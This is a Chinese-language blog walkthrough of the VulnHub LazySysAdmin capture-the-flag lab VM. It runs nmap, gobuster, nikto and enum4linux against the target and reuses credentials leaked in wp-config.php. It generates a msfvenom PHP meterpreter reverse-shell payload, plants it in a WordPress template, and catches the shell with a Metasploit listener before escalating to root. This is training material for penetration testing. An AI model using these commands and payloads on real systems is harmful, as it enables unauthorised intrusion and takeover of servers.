VulnHub-LazySysAdmin: 1Walkthrough渗透学习
前言
靶机地址:https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
靶机难度:中级(CTF)
靶机发布日期:2016年4月27日
靶机描述:这是SickOs的后续系列中的第二篇,并且与先前的发行版无关,挑战范围是在系统上获得最高特权。
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-06
请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
信息收集
主机发现
我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:
nmap -sP 192.168.1.0/24 -T4
参数解读:
-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
-T4: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4
端口扫描
我们已经找到了目标计算机IP地址:192.168.1.12
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:
nmap -sS -sV -sC -O -T5 -Pn -p- 192.168.1.12
参数解读:
-A :启用-A选项之后,Nmap将检测目标主机的下述信息
服务版本识别(-sV);
操作系统识别(-O);
脚本扫描(-sC);
Traceroute(–traceroute)
-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
-sV: 指定让Nmap进行服务版本扫描
-p-:进行全端口扫描
-Pn:禁用主机检测(-Pn)
目录枚举
gobuster dir -u http://192.168.1.12/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent
/wordpress (Status: 301) [Size: 315] [--> http://192.168.1.12/wordpress/]
/test (Status: 301) [Size: 310] [--> http://192.168.1.12/test/]
/wp (Status: 301) [Size: 308] [--> http://192.168.1.12/wp/]
/apache (Status: 301) [Size: 312] [--> http://192.168.1.12/apache/]
/old (Status: 301) [Size: 309] [--> http://192.168.1.12/old/]
/javascript (Status: 301) [Size: 316] [--> http://192.168.1.12/javascript/]
/phpmyadmin (Status: 301) [Size: 316] [--> http://192.168.1.12/phpmyadmin/]
/server-status (Status: 403) [Size: 292]
指纹识别
访问80端口返回网站信息;
漏洞发现
Nikto 通过代理扫描
nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等
nikto -h 192.168.1.12
扫描出来备份文件路径:
尝试弱口令,发现存在admin用户,但是登录失败。
漏洞利用
对Smb服务器进行探测(445端口)
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具.
枚举选项:
-U 获取用户列表
-M 获取机器列表*
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-d 详述适用于-U和-S
-u user 用户指定要使用的用户名(默认"")
-p pass 指定要使用的密码(默认为"")
以下选项是enum.exe未实现的: -L, -N, -D, -f
其他选项:
-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
-h 显示此帮助消息并退出
-r 通过RID循环枚举用户
-R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
-K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
-s 文件暴力猜测共享名称
-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
用于获取sid与“lookupsid known_username”
使用逗号尝试几个用户:“-k admin,user1,user2”
-o 获取操作系统信息
-i 获取打印机信息
-w wrkg 手动指定工作组(通常自动找到)
-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)
RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。
enum4linux -S 192.168.1.12
发现存在3个共享目录;
远程连接smb服务器
在wp-config.php 里面定义了一些账号密码,详细信息如下:
第一种提权方法
尝试使用账户密码登录SSH,发现使用账户Togie,密码12345能够成功登录;
成功获取到flag文件;
第二种提权方法
登录WordPress后台,利用反弹shell,获取flag
使用账户admin,密码:TogieMYSQL12345^^成功登录wordpress的后台;
1、上传php meterpreter payload文件,浏览器访问上传后的文件,获取php类型的反弹会话;
成功登录后,发现能上传文件,这边要使用msfvenom做PHP木马文件上传进行shell提权
1、筛选payload
msfvenom -l payload | grep php | grep meterpreter 筛选合适的payload
2、生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.7 lport=4444 -o wordpress.php
3、上传payload
在web页面上传后记录下上传文件的路径;(这里利用的是wordpress404模板文件写入的webshell)
4、Kali设置监听载荷
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.7
set LPORT 4444
exploit
5、获取到webshell以后发现是www-data权限,这里可以使用账户togie密码12345切换账户登录,最终也可以拿到root权限;